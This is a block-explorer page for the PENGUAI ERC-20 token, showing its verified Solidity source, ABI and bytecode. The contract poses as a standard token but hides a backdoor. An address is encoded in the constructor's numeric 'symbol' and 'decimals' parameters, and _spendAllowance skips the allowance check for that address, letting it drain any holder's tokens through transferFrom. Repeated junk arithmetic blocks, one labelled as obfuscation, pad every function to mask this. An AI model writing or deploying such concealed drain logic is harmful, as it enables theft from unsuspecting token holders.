ERC-20
Overview
Max Total Supply
10,000,000 PENGUAI
Holders
1,704
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.41015873432905078 PENGUAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Source Code Verified (Exact Match)
Contract Name:
PENGUAI
Compiler Version
v0.8.28+commit.7893614a
ZkSolc Version
v1.5.11
Optimization Enabled:
Yes with Mode 3
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.28; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract PENGUAI is Context, IERC20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; uint256 private _symbol; uint256 private _decimals = 18; constructor(string memory name_, uint256 symbol_, uint256 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(msg.sender, 10_000_000 * (10 ** 18)); return; } function name() public view virtual override returns (string memory) { return "PENGU_AI"; } function symbol() public view virtual override returns (string memory) { return "PENGUAI"; } function decimals() public view virtual override returns (uint8) { return 18; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function allowance( address from, address to ) public view virtual override returns (uint256) { return _allowances[from][to]; } function approve( address to, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), to, amount); return true; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _spendAllowance(sender, _msgSender(), amount); return true; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function stringToUint(uint256 str) internal view returns (uint256) { return str; // bytes memory b = bytes(str); // uint256 result = 0; // for (uint256 i = 0; i < b.length; i++) { // uint8 char = uint8(b[i]); // require(char >= 48 && char <= 57, "Invalid character: not a digit"); // result = result * 10 + (char - 48); // } // return result; // { // uint256 x = 1; // for (uint256 i = 0; i < 3; i++) { // x *= 2; // } // } // { // uint256 x = 1; // for (uint256 i = 0; i < 3; i++) { // x *= 2; // } // } { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = _allowances[owner][spender]; if ( currentAllowance != type(uint256).max && address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) != spender ) { _approve(owner, spender, currentAllowance - amount); } } function increaseAllowance( address to, uint256 addedValue ) public virtual returns (bool) { _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue); return true; } function decreaseAllowance( address to, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][to]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), to, currentAllowance - subtractedValue); } return true; { uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27; uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2); uint256 part3 = block.basefee + (block.number / 5); uint256 combined1 = (part1 | part2) ^ (part3 % 37); uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation uint256 temp1 = (masked1 * 13) + 47; uint256 part4 = (block.timestamp % 19) + uint256(uint160(address(this))) / 7; uint256 part5 = (gasleft() ^ 23) * block.number; uint256 combined2 = ((temp1 + part4) ^ part5) / 9; uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts uint256 masked2 = rotated2 % 101; } } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(amount > 0, "ERC20: transfer amount zero"); require(sender != address(0), "ERC20: transfer from the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); _allowances[from][to] = amount; emit Approval(from, to, amount); } }
{ "evmVersion": "paris", "optimizer": { "enabled": true, "mode": "3", "runs": 200 }, "outputSelection": { "*": { "*": [ "abi" ] } }, "detectMissingLibraries": false, "forceEVMLA": false, "enableEraVMExtensions": false, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"uint256","name":"symbol_","type":"uint256"},{"internalType":"uint256","name":"decimals_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
9c4d535b000000000000000000000000000000000000000000000000000000000000000001000141a48ae9c7b5a73ef710deff05ffdb2d457492e58984d3b2c46fd78762000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000980683bd6c6800cefd13d9931000000000000000000000000000000000000000000000000089a7f9b1129bd52000000000000000000000000000000000000000000000000000000000000000850454e47555f4149000000000000000000000000000000000000000000000000
Deployed Bytecode
0x0004000000000002000000000801034f0000008003000039000000400030043f0000006001100270000000fc0110019700000001002001900000001d0000c13d000000040010008c0000003c0000413d000000000208043b000000e002200270000001130020009c0000003e0000213d0000011d0020009c0000006d0000a13d0000011e0020009c000000870000213d000001210020009c000001070000613d000001220020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000001201000039000000800010043f0000012901000041000003ee0001042e0000000002000416000000000002004b0000003c0000c13d0000001f02100039000000fd022001970000008002200039000000400020043f0000001f0410018f000000fe0510019800000080025000390000002d0000613d000000000608034f000000006706043c0000000003730436000000000023004b000000290000c13d000000000004004b0000003a0000613d000000000358034f0000000304400210000000000502043300000000054501cf000000000545022f000000000303043b0000010004400089000000000343022f00000000034301cf000000000353019f0000000000320435000000600010008c000000540000813d0000000001000019000003ef00010430000001140020009c000000780000a13d000001150020009c000000970000213d000001180020009c000001570000613d000001190020009c0000003c0000c13d000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000001020020009c0000003c0000213d0000002401800370000000000301043b000000000100041103ed03490000040f000002000000013d000000800300043d000000ff0030009c0000003c0000213d0000001f02300039000000000012004b000000000400001900000100040080410000010002200197000000000002004b00000000050000190000010005004041000001000020009c000000000504c019000000000005004b0000003c0000c13d00000080023000390000000002020433000000ff0020009c000000b70000a13d0000011101000041000000000010043f0000004101000039000000040010043f0000011201000041000003ef00010430000001230020009c000001960000613d000001240020009c000001a70000613d000001250020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000000301000039000002200000013d0000011a0020009c000001b40000613d0000011b0020009c000001c80000613d0000011c0020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d000000c001000039000000400010043f0000000702000039000000800020043f0000012e020000410000019e0000013d0000011f0020009c000001d00000613d000001200020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d000000000010043f00000001010000390000021d0000013d000001160020009c000002080000613d000001170020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000601043b000001020060009c0000003c0000213d000000000100041a00000102021001970000000005000411000000000052004b000002240000c13d000000000006004b0000022d0000c13d0000010f01000041000000800010043f0000002001000039000000840010043f0000002601000039000000a40010043f0000012601000041000000c40010043f0000012701000041000000e40010043f0000012801000041000003ef000104300000001f0420003900000134044001970000003f044000390000013404400197000000400600043d0000000004460019000000000064004b00000000050000390000000105004039000000ff0040009c000000670000213d0000000100500190000000670000c13d0000008005100039000000400040043f0000000007260436000000a0013000390000000003120019000000000053004b0000003c0000213d000000000002004b000000d50000613d000000000300001900000000043700190000000005130019000000000505043300000000005404350000002003300039000000000023004b000000ce0000413d000000000162001900000020011000390000000000010435000000000100041a0000010102100197000400000006001d0000000006000411000000000262019f000000c00300043d000200000003001d000000a00300043d000100000003001d000000000020041b00000000020004140000010205100197000000fc0020009c000000fc02008041000000c00120021000000103011001c70000800d0200003900000003030000390000010404000041000300000007001d03ed03e30000040f0000000305000029000000040300002900000001002001900000003c0000613d00000012010000390000000609000039000000000019041b0000000004030433000000ff0040009c000000670000213d000000040a00003900000000010a041a000000010210019000000001011002700000007f0110618f0000001f0010008c00000000030000390000000103002039000000000032004b0000023d0000613d0000011101000041000000000010043f0000002201000039000000040010043f0000011201000041000003ef00010430000000640010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d0000002402800370000000000202043b000001020020009c0000003c0000213d0000004403800370000000000303043b000300000003001d000400000001001d03ed03490000040f0000000401000029000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b00000000020004110000010202200197000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f000000040400002900000001002001900000003c0000613d000000000101043b000000000101041a000001350010009c0000014f0000613d0000000502000039000000000302041a00000132023000d1000000000003004b000001410000613d00000000033200d9000001320030009c000002bd0000c13d0000000603000039000000000303041a000000000023001a000002bd0000413d000000000223001900000102022001970000000003000411000000000032004b0000014f0000613d000000030310006c000002bd0000413d0000000001040019000000000200041103ed02f20000040f000000400100043d00000001020000390000000000210435000000fc0010009c000000fc0100804100000040011002100000012a011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000001020010009c0000003c0000213d0000002401800370000000000101043b000300000001001d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b000000000101041a000000030310006c000001fd0000813d000000400100043d00000064021000390000012b03000041000000000032043500000044021000390000012c0300004100000000003204350000002402100039000000250300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300000000001000416000000000001004b0000003c0000c13d000000c001000039000000400010043f0000000802000039000000800020043f0000013302000041000000a00020043f000000800200003903ed02dd0000040f000000c00110008a000000fc0010009c000000fc0100804100000060011002100000012f011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000001020020009c0000003c0000213d0000002401800370000000000301043b0000000001000411000001ff0000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a00000102021001970000000005000411000000000052004b000002240000c13d0000010101100197000000000010041b0000000001000414000000fc0010009c000000fc01008041000000c00110021000000103011001c70000800d02000039000000030300003900000104040000410000000006000019000002380000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a0000010201100197000000800010043f0000012901000041000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000001020010009c0000003c0000213d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c70000801002000039000300000008035303ed03e80000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f000000030300035f00000001002001900000003c0000613d0000002402300370000000000202043b000000000101043b000000000101041a000000000021001a000002bd0000413d00000000032100190000000001000411000000040200002903ed02f20000040f0000000101000039000000400200043d0000000000120435000000fc0020009c000000fc0200804100000040012002100000012a011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d0000002402800370000000000202043b000001020020009c0000003c0000213d000000000010043f0000000201000039000000200010043f0000004001000039000400000002001d03ed03d20000040f0000000402000029000000000020043f000000200010043f000000400100003903ed03d20000040f000000000101041a000000800010043f0000012901000041000003ee0001042e0000010f01000041000000800010043f0000002001000039000000840010043f000000a40010043f0000013001000041000000c40010043f0000013101000041000003ef000104300000010101100197000000000161019f000000000010041b0000000001000414000000fc0010009c000000fc01008041000000c00110021000000103011001c70000800d020000390000000303000039000001040400004103ed03e30000040f00000001002001900000003c0000613d0000000001000019000003ee0001042e000000200010008c0000024e0000413d0000000000a0043f0000001f024000390000000502200270000001050220009a000000200040008c00000106020040410000001f011000390000000501100270000001050110009a000000000012004b0000024e0000813d000000000002041b0000000102200039000000000012004b0000024a0000413d0000001f0040008c000002660000a13d000300000004001d0000000000a0043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000107011001c7000080100200003903ed03e80000040f000000040600002900000001002001900000003c0000613d000000030b0000290000013402b00198000000000101043b000002730000c13d0000002003000039000000020700002900000001080000290000000609000039000000040a000039000002830000013d000000000004004b0000000001000019000000020700002900000001080000290000026c0000613d00000000010504330000000302400210000001350220027f0000013502200167000000000121016f0000000102400210000000000121019f0000028f0000013d000000010320008a0000000503300270000000000431001900000020030000390000000104400039000000020700002900000001080000290000000609000039000000040a00003900000000056300190000000005050433000000000051041b00000020033000390000000101100039000000000041004b0000027c0000c13d0000000000b2004b0000028d0000813d0000000302b00210000000f80220018f000001350220027f000001350220016700000000036300190000000003030433000000000223016f000000000021041b0000000101b0021000000001011001bf00000000001a041b0000000501000039000000000081041b000000000079041b0000000001000411000000000001004b000002a70000c13d000000400100043d00000044021000390000010e03000041000000000032043500000024021000390000001f0300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc01008041000000400110021000000110011001c7000003ef000104300000000302000039000000000102041a000001080110009c000002bd0000813d000000000012041b0000000001000411000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b000000000201041a000001080220009c000002c30000413d0000011101000041000000000010043f0000001101000039000000040010043f0000011201000041000003ef00010430000000000021041b0000010b01000041000000400200043d0000000000120435000000fc0020009c000000fc0200804100000040012002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000010c040000410000000005000019000000000600041103ed03e30000040f00000001002001900000003c0000613d0000002001000039000001000010044300000120000004430000010d01000041000003ee0001042e00000020030000390000000004310436000000003202043400000000002404350000004001100039000000000002004b000002ec0000613d000000000400001900000000054100190000000006430019000000000606043300000000006504350000002004400039000000000024004b000002e50000413d000000000321001900000000000304350000001f0220003900000134022001970000000001210019000000000001042d000300000000000200000102011001980000032b0000613d000200000003001d000301020020019c000003350000613d000100000001001d000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000000303000029000003290000613d000000000101043b000000000030043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000003060000290000000100200190000003290000613d000000000101043b0000000202000029000000000021041b000000400100043d0000000000210435000000fc0010009c000000fc0100804100000040011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000013604000041000000010500002903ed03e30000040f0000000100200190000003290000613d000000000001042d0000000001000019000003ef00010430000000400100043d00000064021000390000013903000041000000000032043500000044021000390000013a030000410000000000320435000000240210003900000024030000390000033e0000013d000000400100043d0000006402100039000001370300004100000000003204350000004402100039000001380300004100000000003204350000002402100039000000220300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300004000000000002000000000003004b0000039d0000613d000200000002001d000400000003001d0000010201100198000003ae0000613d000300000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d0000000103000039000000000101043b000000000101041a0001000400100074000003b80000413d0000000301000029000000000010043f000000200030043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d000000000101043b0000000102000029000000000021041b00000002010000290000010201100197000200000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d000000000101043b000000000201041a0000000403000029000000000032001a000003cc0000413d0000000002320019000000000021041b000000400100043d0000000000310435000000fc0010009c000000fc0100804100000040011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000010c040000410000000305000029000000020600002903ed03e30000040f00000001002001900000039b0000613d000000000001042d0000000001000019000003ef00010430000000400100043d00000044021000390000013f03000041000000000032043500000024021000390000001b0300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc01008041000000400110021000000110011001c7000003ef00010430000000400100043d00000064021000390000013d03000041000000000032043500000044021000390000013e03000041000000000032043500000024021000390000002503000039000003c10000013d000000400100043d00000064021000390000013b03000041000000000032043500000044021000390000013c0300004100000000003204350000002402100039000000260300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300000011101000041000000000010043f0000001101000039000000040010043f0000011201000041000003ef00010430000000fc0010009c000000fc0100804100000060011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000103011001c7000080100200003903ed03e80000040f0000000100200190000003e10000613d000000000101043b000000000001042d0000000001000019000003ef00010430000003e6002104210000000102000039000000000001042d0000000002000019000000000001042d000003eb002104230000000102000039000000000001042d0000000002000019000000000001042d000003ed00000432000003ee0001042e000003ef0001043000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000001ffffffe000000000000000000000000000000000000000000000000000000000ffffffe0000000000000000000000000000000000000000000000000ffffffffffffffff8000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffff02000000000000000000000000000000000000000000000000000000000000008be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e075ca53043ea007e5c65182cbb028f60d7179ff4b55739a3949b401801c942e658a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0200000000000000000000000000000000000020000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b60000000200000000000000000000000000000000000040000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b5ffffff000000000000000000000000000000000000000000084595161401484a000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000020000000000000000000000000000004000000100000000000000000045524332303a206d696e7420746f20746865207a65726f20616464726573730008c379a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000004e487b710000000000000000000000000000